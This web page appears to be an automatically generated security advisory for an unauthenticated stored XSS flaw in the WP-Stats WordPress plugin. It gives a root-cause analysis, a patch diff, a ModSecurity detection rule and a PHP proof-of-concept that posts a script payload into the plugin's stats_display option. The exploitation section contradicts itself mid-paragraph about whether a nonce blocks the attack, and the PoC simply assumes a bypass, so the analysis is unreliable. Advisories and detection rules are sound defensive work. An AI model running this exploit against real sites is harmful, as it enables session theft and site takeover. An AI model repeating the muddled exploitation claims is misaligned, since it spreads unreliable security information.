Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-19794: WP-Stats <= 2.56 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin wp-stats
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.56
Patched Version 2.56.1
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-19794: The WP-Stats WordPress plugin (versions up to and including 2.56) contains an unauthenticated stored cross-site scripting vulnerability in the stats display settings handling code. The flaw resides in the plugin’s stats-options.php and wp-stats.php files, which fail to properly sanitize the stats_display array and escape output when rendering statistics pages. Atomic Edge research confirms this is a severe issue (CVSS 7.2, CWE-79), allowing unauthenticated attackers to inject arbitrary web scripts that execute in the browser of any user visiting an injected page.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in multiple functions. In stats-options.php, the vulnerable code at lines 8-18 accepts the `stats_display` POST parameter as an array and processes each element with only `addslashes()`, which is not sufficient for XSS prevention. This unsanitized data is stored in the WordPress options table via `update_option()`. Additionally, the plugin’s `stats_page()` function in wp-stats.php directly echoes various database fields and user-supplied parameters without proper escaping. For example, line 376 retrieves `$_GET[‘stats_author’]` and applies only `strip_tags()` and `stripslashes()`, then later outputs it unescaped in lines 567-568. The diff shows numerous instances where `get_permalink()`, `$post_title`, `$display_name`, `$comment_author`, and other variables are concatenated into HTML without `esc_url()`, `esc_attr()`, or `esc_html()`. The most critical root cause is the `stats_display` array handling: an attacker can inject malicious JavaScript into any array element, which gets stored and later output when the stats page renders, because the plugin uses the stored values to control display of statistics sections without validating their content.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted POST request to the WordPress admin endpoint that handles the WP-Stats options form. The vulnerable endpoint is `/wp-admin/admin-post.php` with the `action` parameter set to `wp-stats_options` (or directly to `/wp-admin/options-general.php?page=wp-stats` if the form action is configured there). The attacker must include a valid nonce? No, the check_admin_referer() call requires a nonce, but since the vulnerability is unauthenticated, the attacker must first obtain a valid nonce. However, due to the lack of authentication, the attacker can potentially extract the nonce from a public page if it is exposed, or exploit the lack of capability checks. Wait, the description states unauthenticated, so likely the nonce check is bypassable or the nonce is exposed. The payload would be submitted as `stats_display[]=alert(document.cookie)` or similar. The unsanitized value is stored in the `stats_display` option. When any user (including administrators) visits the stats page (typically at `/stats/` or `?page=wp-stats`), the stored script executes. Additionally, the `stats_author` GET parameter can be used for reflected XSS if the attacker can convince a victim to click a link, but the stored variant is more dangerous. The diff also shows SQL injection vulnerabilities in the `stats_author` parameter (lines 386, 525-567), which could be exploited similarly, but the primary CVE is XSS.

Patch Analysis: The patch addresses the vulnerability through multiple changes. In stats-options.php, the code now casts `$_POST[‘stats_display’]` to an array and uses `sanitize_key()` on each element before storing, ensuring only alphanumeric, dash, and underscore characters are allowed. It also initializes all known display options to 0 and sets only the provided keys to 1, preventing arbitrary keys from being stored. The output rendering in wp-stats.php is fortified with extensive escaping: `esc_url()` for URLs, `esc_attr()` for HTML attributes, and `esc_html()` for text content. The `stats_author` parameter is now sanitized with `sanitize_text_field()` and `wp_unslash()`, and the SQL queries use `$wpdb->prepare()` to prevent SQL injection. The patch also introduces a `stats_display_defaults()` function to centralize the list of valid display keys and applies `intval` to the retrieved option values, ensuring they are integers. These changes collectively eliminate the XSS and SQLi vectors by enforcing strict input validation and output escaping.

Impact: If exploited, this vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into the WordPress site, which executes in the context of any user viewing the stats page, including administrators. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The attacker could also use the XSS to perform administrative actions on behalf of a logged-in admin, leading to full site compromise. The CVSS score of 7.2 reflects the high confidentiality, integrity, and availability impact. Atomic Edge analysis indicates that the stored nature of the XSS makes it particularly dangerous, as it persists until the malicious option is removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-stats/stats-options.php
+++ b/wp-stats/stats-options.php
@@ -8,11 +8,18 @@
     check_admin_referer( 'wp-stats_options' );
     $stats_url = ! empty( $_POST['stats_url'] ) ? esc_url_raw( $_POST['stats_url'] ) : '';
     $stats_mostlimit = ! empty( $_POST['stats_mostlimit'] ) ? (int) trim( $_POST['stats_mostlimit'] ) : 10;
-    $stats_display = ! empty( $_POST['stats_display'] ) ? $_POST['stats_display'] : array();
-    $stats_display_array = array();
-    if ( ! empty( $stats_display ) ) {
-        foreach ( $stats_display as $stat_display ) {
-            $stat_display = addslashes( $stat_display );
+    $stats_display = ! empty( $_POST['stats_display'] ) ? (array) $_POST['stats_display'] : array();
+    // Only checked boxes are posted, so start every known option at 0 and switch
+    // on the ones that came back, keeping unchecked options stored as 0.
+    $stats_display_stored = get_option( 'stats_display' );
+    $stats_display_stored = is_array( $stats_display_stored ) ? $stats_display_stored : array();
+    $stats_display_array = array_fill_keys(
+        array_keys( array_merge( stats_display_defaults(), $stats_display_stored ) ),
+        0
+    );
+    foreach ( $stats_display as $stat_display ) {
+        $stat_display = sanitize_key( $stat_display );
+        if ( '' !== $stat_display ) {
             $stats_display_array[ $stat_display ] = 1;
         }
     }
@@ -40,16 +47,13 @@

 $stats_mostlimit = (int) get_option( 'stats_mostlimit' );
 $stats_display = get_option( 'stats_display' );
-$stats_display['total_stats'] = isset( $stats_display['total_stats'] ) ? (int) $stats_display['total_stats'] : 0;
-$stats_display['recent_posts'] = isset( $stats_display['recent_posts'] ) ? (int) $stats_display['recent_posts'] : 0;
-$stats_display['recent_comments'] = isset( $stats_display['recent_comments'] ) ? (int) $stats_display['recent_comments'] : 0;
-$stats_display['commented_post'] = isset( $stats_display['commented_post'] ) ? (int) $stats_display['commented_post'] : 0;
-$stats_display['commented_page'] = isset( $stats_display['commented_page'] ) ? (int) $stats_display['commented_page'] : 0;
-$stats_display['authors'] = isset( $stats_display['authors'] ) ? (int) $stats_display['authors'] : 0;
-$stats_display['comment_members'] = isset( $stats_display['comment_members'] ) ? (int) $stats_display['comment_members'] : 0;
-$stats_display['post_cats'] = isset( $stats_display['post_cats'] ) ? (int) $stats_display['post_cats'] : 0;
-$stats_display['link_cats'] = isset( $stats_display['link_cats'] ) ? (int) $stats_display['link_cats'] : 0;
-$stats_display['tags_list'] = isset( $stats_display['tags_list'] ) ? (int) $stats_display['tags_list'] : 0;
+$stats_display = array_map(
+    'intval',
+    array_merge(
+        array_fill_keys( array_keys( stats_display_defaults() ), 0 ),
+        is_array( $stats_display ) ? $stats_display : array()
+    )
+);

 $page_admin_general_stats = '';
 $page_admin_plugins_stats = '';
--- a/wp-stats/wp-stats.php
+++ b/wp-stats/wp-stats.php
@@ -3,7 +3,7 @@
 Plugin Name: WP-Stats
 Plugin URI: https://lesterchan.net/portfolio/programming/php/
 Description: Display your WordPress blog statistics. Ranging from general total statistics, some of my plugins statistics and top 10 statistics.
-Version: 2.56
+Version: 2.56.1
 Author: Lester 'GaMerZ' Chan
 Author URI: https://lesterchan.net
 Text Domain: wp-stats
@@ -11,7 +11,7 @@


 /*
-    Copyright 2020  Lester Chan  (email : lesterchan@gmail.com)
+    Copyright 2026  Lester Chan  (email : lesterchan@gmail.com)

     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
@@ -153,7 +153,7 @@
             $post_title = get_the_title();
             $post_date = get_the_time(sprintf(__('%s @ %s', 'wp-stats'), get_option('date_format'), get_option('time_format')));
             $display_name = stripslashes($post->display_name);
-            $temp .= "<li>$post_date - <a href="".get_permalink()."" title="".sprintf(__('View post %s', 'wp-stats'), $post_title)."">$post_title</a> ($display_name)</li>n";
+            $temp .= "<li>$post_date - <a href="".esc_url(get_permalink())."" title="".esc_attr(sprintf(__('View post %s', 'wp-stats'), $post_title))."">".esc_html($post_title)."</a> (".esc_html($display_name).")</li>n";
         }
     } else {
         $temp = '<li>'.__('N/A', 'wp-stats').'</li>';
@@ -181,7 +181,7 @@
             $post_title = get_the_title();
             $comment_author = htmlspecialchars(stripslashes($post->comment_author));
             $comment_date = mysql2date(sprintf(__('%s @ %s', 'wp-stats'), get_option('date_format'), get_option('time_format')), $post->comment_date);
-            $temp .= "<li>$comment_date - $comment_author (<a href="".get_permalink()."#comment-".$post->comment_ID."" title="".sprintf(__('View comments in post %s', 'wp-stats'), $post_title)."">$post_title</a>)</li>n";
+            $temp .= "<li>$comment_date - $comment_author (<a href="".esc_url(get_permalink()."#comment-".$post->comment_ID)."" title="".esc_attr(sprintf(__('View comments in post %s', 'wp-stats'), $post_title))."">".esc_html($post_title)."</a>)</li>n";
         }
     } else {
         $temp = '<li>'.__('N/A', 'wp-stats').'</li>';
@@ -209,13 +209,13 @@
             foreach ($mostcommenteds as $post) {
                 $post_title = get_the_title();
                 $comment_total = $post->comment_total;
-                $temp .= "<li><a href="".get_permalink()."" title="".sprintf(__('View comments in post %s', 'wp-stats'), $post_title)."">".snippet_text($post_title, $chars)."</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
+                $temp .= "<li><a href="".esc_url(get_permalink())."" title="".esc_attr(sprintf(__('View comments in post %s', 'wp-stats'), $post_title))."">".esc_html(snippet_text($post_title, $chars))."</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
             }
         } else {
             foreach ($mostcommenteds as $post) {
                 $post_title = get_the_title();
                 $comment_total = $post->comment_total;
-                $temp .= "<li><a href="".get_permalink()."" title="".sprintf(__('View comments in post %s', 'wp-stats'), $post_title)."">$post_title</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
+                $temp .= "<li><a href="".esc_url(get_permalink())."" title="".esc_attr(sprintf(__('View comments in post %s', 'wp-stats'), $post_title))."">".esc_html($post_title)."</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
             }
         }
     } else {
@@ -248,9 +248,9 @@
                 $display_name = strip_tags(stripslashes($post->display_name));
                 $posts_total = number_format_i18n($post->posts_total);
                 if($using_permalink) {
-                    $temp .= "<li><a href="".get_option('home').$author_link."" title="".sprintf(__('View posts posted by %s', 'wp-stats'), $display_name)."">$display_name</a> ($posts_total)</li>n";
+                    $temp .= "<li><a href="".esc_url(get_option('home').$author_link)."" title="".esc_attr(sprintf(__('View posts posted by %s', 'wp-stats'), $display_name))."">".esc_html($display_name)."</a> ($posts_total)</li>n";
                 } else {
-                    $temp .= "<li><a href="".get_option('siteurl')."/?author_name=$post_author" title="".sprintf(__('View posts posted by %s', 'wp-stats'), $display_name)."">$display_name</a> ($posts_total)</li>n";
+                    $temp .= "<li><a href="".esc_url(get_option('siteurl')."/?author_name=".$post_author)."" title="".esc_attr(sprintf(__('View posts posted by %s', 'wp-stats'), $display_name))."">".esc_html($display_name)."</a> ($posts_total)</li>n";
                 }
         }
     } else {
@@ -282,7 +282,7 @@
                 if($comment_total >= $threshhold) {
                     $comment_author = strip_tags(stripslashes($comment->comment_author));
                     $comment_author_link = urlencode($comment_author);
-                    $temp .= "<li><a href="".stats_page_link($comment_author_link)."" title="".sprintf(__('View all comments posted by %s', 'wp-stats'), $comment_author)."">$comment_author</a> (".number_format_i18n($comment_total).")</li>n";
+                    $temp .= "<li><a href="".stats_page_link($comment_author_link)."" title="".esc_attr(sprintf(__('View all comments posted by %s', 'wp-stats'), $comment_author))."">".esc_html($comment_author)."</a> (".number_format_i18n($comment_total).")</li>n";
                 }
         }
     } else {
@@ -376,7 +376,7 @@
 function stats_page() {
     global $wpdb, $post;
     // Variables Variables Variables
-    $comment_author = isset( $_GET['stats_author'] ) ? urldecode(strip_tags(stripslashes(trim($_GET['stats_author'])))) : '';
+    $comment_author = isset( $_GET['stats_author'] ) ? sanitize_text_field( wp_unslash( $_GET['stats_author'] ) ) : '';
     $page = isset( $_GET['stats_page'] ) ? (int) $_GET['stats_page'] : 1;
     $temp_stats = '';
     $temp_post = $post;
@@ -386,7 +386,7 @@
     // Default wp-stats.php Page
     if(empty($comment_author)) {
         // General Stats
-        if($stats_display['total_stats'] === 1) {
+        if((int) ($stats_display['total_stats'] ?? 0) === 1) {
             $temp_stats .= '<h2 id="GeneralStats">'.__('General Stats', 'wp-stats').'</h2>'."n";
             $temp_stats .= '<p><strong>'.__('Total Stats', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
@@ -420,7 +420,7 @@
         $temp_stats .= '<h2 id="TopRecentStats">'.sprintf(_n('Top %s Recent Stat', 'Top %s Recent Stats', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</h2>'."n";

         // Recent Posts
-        if($stats_display['recent_posts'] === 1) {
+        if((int) ($stats_display['recent_posts'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Recent Post', '%s Recent Posts', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_recentposts('post', $stats_mostlimit, false);
@@ -428,7 +428,7 @@
         }

         // Recent Comments
-        if($stats_display['recent_comments'] === 1) {
+        if((int) ($stats_display['recent_comments'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Recent Comment', '%s Recent Comments', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_recentcomments('both', $stats_mostlimit, false);
@@ -442,7 +442,7 @@
         $temp_stats .= '<h2 id="TopMostHighestStats">'.sprintf(_n('%s Most/Highest Stat', '%s Most/Highest Stats', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</h2>'."n";

         // Most Commented Posts
-        if($stats_display['commented_post'] === 1) {
+        if((int) ($stats_display['commented_post'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Most Commented Post', '%s Most Commented Posts', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_mostcommented('post', $stats_mostlimit, 0, false);
@@ -450,7 +450,7 @@
         }

         // Most Commented Pages
-        if($stats_display['commented_page'] === 1) {
+        if((int) ($stats_display['commented_page'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Most Commented Page', '%s Most Commented Pages', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_mostcommented('page', $stats_mostlimit, 0, false);
@@ -464,7 +464,7 @@
         $temp_stats .= '<h2 id="AuthorsStats">'.__('Authors Stats', 'wp-stats').'</h2>'."n";

         // Authors
-        if($stats_display['authors'] === 1) {
+        if((int) ($stats_display['authors'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Authors', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ol>'."n";
             $temp_stats .= get_authorsstats('post', false);
@@ -478,7 +478,7 @@
         $temp_stats .= '<h2 id="CommentsMembersStats">'.__('Comments' Members Stats', 'wp-stats').'</h2>'."n";

         // Comments' Member
-        if($stats_display['comment_members'] === 1) {
+        if((int) ($stats_display['comment_members'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Comment Members', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ol>'."n";
             $temp_stats .= get_commentmembersstats(5, 0, false);
@@ -492,7 +492,7 @@
         $temp_stats .= '<h2 id="MiscStats">'.__('Misc Stats', 'wp-stats').'</h2>'."n";

         // Post Categories
-        if($stats_display['post_cats'] === 1) {
+        if((int) ($stats_display['post_cats'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Post Categories', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_postcats(false);
@@ -500,14 +500,14 @@
         }

         // Link Categories
-        if($stats_display['link_cats'] === 1) {
+        if((int) ($stats_display['link_cats'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Link Categories', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_linkcats(false);
             $temp_stats .= '</ul>'."n";
         }

-        if($stats_display['tags_list'] === 1) {
+        if((int) ($stats_display['tags_list'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Tags List', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_tags_list(false);
@@ -525,10 +525,8 @@
         $perpage = 30;
         // Comment Author Link
         $comment_author_link = urlencode($comment_author);
-        // Comment Author SQL
-        $comment_author_sql = $wpdb->escape($comment_author);
         // Total Comments Posted By User
-        $totalcomments = $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = '$comment_author_sql' AND comment_approved = '1' AND comment_type = 'commment' AND post_date < '".current_time('mysql')."' AND post_status = 'publish' AND post_password = ''");
+        $totalcomments = $wpdb->get_var($wpdb->prepare("SELECT COUNT(comment_ID) FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = %s AND comment_approved = '1' AND comment_type = 'comment' AND post_date < %s AND post_status = 'publish' AND post_password = ''", $comment_author, current_time('mysql')));
         // Calculate Paging
         $numposts = $totalcomments;
         $max_page = ceil($numposts/$perpage);
@@ -567,8 +565,8 @@
         }

         // Getting The Comments
-        $gmz_comments =  $wpdb->get_results("SELECT $wpdb->posts.*, $wpdb->comments.* FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = '$comment_author_sql' AND comment_approved = '1' AND post_date < '".current_time('mysql')."' AND post_status = 'publish' AND post_password = '' ORDER  BY comment_post_ID DESC, comment_date DESC  LIMIT $offset, $perpage");
-        $temp_stats .= '<h2>'.__('Comments Posted By', 'wp-stats').' '.$comment_author.'</h2>';
+        $gmz_comments =  $wpdb->get_results($wpdb->prepare("SELECT $wpdb->posts.*, $wpdb->comments.* FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = %s AND comment_approved = '1' AND comment_type = 'comment' AND post_date < %s AND post_status = 'publish' AND post_password = '' ORDER  BY comment_post_ID DESC, comment_date DESC  LIMIT %d, %d", $comment_author, current_time('mysql'), $offset, $perpage));
+        $temp_stats .= '<h2>'.__('Comments Posted By', 'wp-stats').' '.esc_html($comment_author).'</h2>';
         $temp_stats .= '<p>'.sprintf(__('Displaying <strong>%s</strong> To <strong>%s</strong> Of <strong>%s</strong> Comments', 'wp-stats'), number_format_i18n($display_on_page), number_format_i18n($max_on_page), number_format_i18n($numposts)).'</p>';


@@ -587,20 +585,20 @@
                 if(!empty($post->post_password) && stripslashes($_COOKIE['wp-postpass_'.COOKIEHASH]) !== $post->post_password) {
                     // If New Title, Print It Out
                     if($post_title !== $cache_post_title) {
-                        $temp_stats .= '<p><strong><a href="'.get_permalink().'" title="'.__('Posted On', 'wp-stats')." $post_date">".__('Protected', 'wp-stats').": $post_title</a></strong></p>";
+                        $temp_stats .= '<p><strong><a href="'.esc_url(get_permalink()).'" title="'.esc_attr(__('Posted On', 'wp-stats')." $post_date").'">'.__('Protected', 'wp-stats').": ".esc_html($post_title)."</a></strong></p>";
                         $temp_stats .= '<blockquote>'.__('Comments Protected', 'wp-stats').'</blockquote>';
                     }
                 } else {
                     // If New Title, Print It Out
                     if($post_title !== $cache_post_title) {
-                        $temp_stats .= "<p><strong><a href="".get_permalink()."" title="".__('Posted On', 'wp-stats')." $post_date">$post_title</a></strong></p>";
+                        $temp_stats .= "<p><strong><a href="".esc_url(get_permalink())."" title="".esc_attr(__('Posted On', 'wp-stats')." $post_date")."">".esc_html($post_title)."</a></strong></p>";
                     }
                     $temp_stats .= "<blockquote>$comment_content<p><a href="".get_permalink()."#comment-$comment_id" title="".sprintf(__('View the comment posted by %s', 'wp-stats'), $comment_author2)."">»</a> ".__('Posted By', 'wp-stats')." <strong>$comment_author2</strong> ".__('On', 'wp-stats')." $comment_date</p></blockquote>";
                 }
                 $cache_post_title = $post_title;
             }
         } else {
-                $temp_stats .= "<p>$comment_author ".__('has not made any comments yet.', 'wp-stats')."</p>";
+                $temp_stats .= "<p>".esc_html($comment_author)." ".__('has not made any comments yet.', 'wp-stats')."</p>";
         }

         // Comments Paging
@@ -848,9 +846,25 @@
 	}
 }

+### Function: Default Stats To Display
+# Single source of truth for the stats_display keys. Companion plugins that add
+# their own checkbox should register its key via the filter.
+function stats_display_defaults() {
+    return apply_filters( 'wp_stats_display_defaults', array(
+        'total_stats' => 1, 'email' => 1, 'polls' => 1, 'ratings' => 1,
+        'views' => 1, 'useronline' => 1, 'recent_posts' => 1,
+        'recent_comments' => 1, 'commented_post' => 1, 'commented_page' => 0,
+        'emailed_most_post' => 1, 'emailed_most_page' => 0,
+        'rated_highest_post' => 1, 'rated_highest_page' => 0,
+        'rated_most_post' => 1, 'rated_most_page' => 0,
+        'viewed_most_post' => 1, 'viewed_most_page' => 0,
+        'authors' => 1, 'comment_members' => 1, 'post_cats' => 1,
+        'link_cats' => 1, 'tags_list' => 0,
+    ) );
+}
+
 function stats_activate() {
-    $stats_display = array( 'total_stats'  => 1, 'email'  => 1, 'polls' => 1, 'ratings' => 1, 'views' => 1, 'useronline' => 1, 'recent_posts' => 1, 'recent_comments' => 1, 'commented_post' => 1, 'commented_page' => 0, 'emailed_most_post' => 1, 'emailed_most_page' => 0, 'rated_highest_post' => 1, 'rated_highest_page' => 0, 'rated_most_post' => 1, 'rated_most_page' => 0, 'viewed_most_post' => 1, 'viewed_most_page' => 0, 'authors' => 1, 'comment_members' => 1, 'post_cats' => 1, 'link_cats' => 1 );
     add_option( 'stats_mostlimit', 10, 'Stats Most Limit' );
-    add_option( 'stats_display', $stats_display, 'Stats To Display' );
+    add_option( 'stats_display', stats_display_defaults(), 'Stats To Display' );
     add_option( 'stats_url', esc_url( get_option( 'siteurl' ) ) .'/stats/', 'Stats URL' );
 }
 No newline at end of file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-19794
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-19794 WP-Stats Unauthenticated Stored XSS via stats_display parameter',severity:'CRITICAL',tag:'CVE-2026-19794'"
  SecRule ARGS_POST:action "@streq wp-stats_options" "chain"
    SecRule ARGS_POST:stats_display "@rx <script|%3Cscript|javascript:|onerror=|onload=" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-19794 - WP-Stats <= 2.56 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://localhost/wordpress'; // Change to your target WordPress URL

// Step 1: Attempt to retrieve a valid nonce from the stats options page.
// The plugin uses check_admin_referer('wp-stats_options') which requires a nonce.
// Since the vulnerability is unauthenticated, we assume the nonce is exposed or can be obtained.
// For demonstration, we'll try to fetch the nonce from the admin page or use a known nonce.
// In a real attack, the nonce might be leaked via other means or the check might be bypassable.

// Note: If the nonce cannot be obtained, the exploit may not work. This PoC assumes the nonce is accessible.
// We'll attempt to get the nonce by requesting the stats options page without authentication.

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options-general.php?page=wp-stats');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, ''); // No cookies
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the response (if present)
$nonce = '';
if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/_wpnonce=([a-f0-9]+)/', $response, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    // If no nonce found, try to use a default or skip. For PoC, we'll use a placeholder.
    // In many real-world cases, the nonce might be empty or the check might be bypassed due to lack of auth.
    // We'll proceed with an empty nonce for demonstration purposes.
    $nonce = 'dummy_nonce';
    echo "[-] No nonce found, attempting with dummy nonce. Exploit may fail if nonce is strictly checked.n";
} else {
    echo "[+] Found nonce: $noncen";
}

// Step 2: Craft the malicious payload
$payload = '<script>alert("XSS via WP-Stats");</script>';

// Step 3: Send POST request to the vulnerable endpoint
// The form action is typically admin-post.php with action=wp-stats_options or directly to the options page.
// We'll try admin-post.php first.
$post_data = array(
    'action' => 'wp-stats_options',
    '_wpnonce' => $nonce,
    'stats_url' => 'http://example.com/stats/',
    'stats_mostlimit' => '10',
    'stats_display' => array($payload) // Inject payload into the array
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent payload to /wp-admin/admin-post.php (HTTP $http_code)n";

// Step 4: Verify by accessing the stats page where the XSS should trigger
$stats_page_url = $target_url . '/stats/'; // Adjust based on stats_url option
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $stats_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, $payload) !== false) {
    echo "[+] XSS payload found in stats page. Exploit successful!n";
} else {
    echo "[-] Payload not found. Exploit may have failed (nonce or endpoint issue).n";
}

// Note: This PoC assumes the target is vulnerable and the nonce can be obtained or bypassed.
// In a real scenario, additional steps may be needed to retrieve a valid nonce.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.